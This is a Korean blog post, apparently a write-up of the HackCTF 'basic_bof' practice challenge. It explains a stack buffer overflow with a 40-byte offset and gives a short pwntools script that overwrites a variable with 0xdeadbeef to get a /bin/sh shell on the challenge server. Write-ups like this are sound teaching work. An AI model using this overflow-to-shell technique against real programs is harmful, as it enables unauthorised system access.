728x90
checksec
- 32bit
- Partial RELRO
- NX
Analyze
Pseudo Code (IDA)
실행
- 사용자로부터 문자열(buf) s의 값을 fgets함수를 통해 입력받도록 되어있다.
- s와 v5 사이의 거리는 0x34 - 0xC = 52-12 = 40byte
- 바꿔야 될 값이 v5이고 s와 v5 사이의 거리가 40byte이기 때문에 fgets함수에서 45byte로 제한했음에도 bof 공격이 가능해진다.
- v5가 0xdeadbeef일 때 system("/bin/sh") 이 실행되니까 "A"*40 + 0xdeadbeef 의 꼴로 payload를 작성하면 될 것이다.
"A"*40 + "BBBB"를 입력했더니 v5의 주소가 "BBBB"로 덮인 것을 확인할 수 있다.
Exploit
from pwn import *
#p = process("./bof_basic")
p = remote("ctf.j0n9hyun.xyz", 3000)
pl = "A"*40
pl += p32(0xdeadbeef)
p.sendline(pl)
p.interactive()
정말 이름대로 기초적인 bof 문제였다! 스택이 어떻게 구성되고 retrun address를 어떻게 덮어쓰는지 이해하면 쉽게 풀 수 있는 문제인듯 하다.
SMALL
'System > PWNABLE' 카테고리의 다른 글
[HackCTF] basic_bof2 (2) | 2021.02.01 |
---|---|
[HackCTF] ROP (2) | 2021.02.01 |
[POXX 2020] tips (0) | 2021.01.19 |
[POXX 2020] investigator (0) | 2021.01.19 |
[LOB] gremlin → cobolt (4) | 2021.01.15 |